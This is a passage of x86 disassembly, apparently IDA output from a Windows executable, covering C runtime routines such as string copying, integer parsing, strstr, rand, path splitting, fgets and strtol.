		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBE4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBE4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A97C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB9A0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 271064Bh
		nop
		push	eax
		nop
		call	near ptr 2700BEAh


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB99C, edi
		mov	byte_4DB998, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFFC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFF8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFFC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB9A0, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A960, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A960
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A960, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C73p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEC1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Fp
					; sub_401ACD+75AEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBE4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBE4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBE4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9D8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
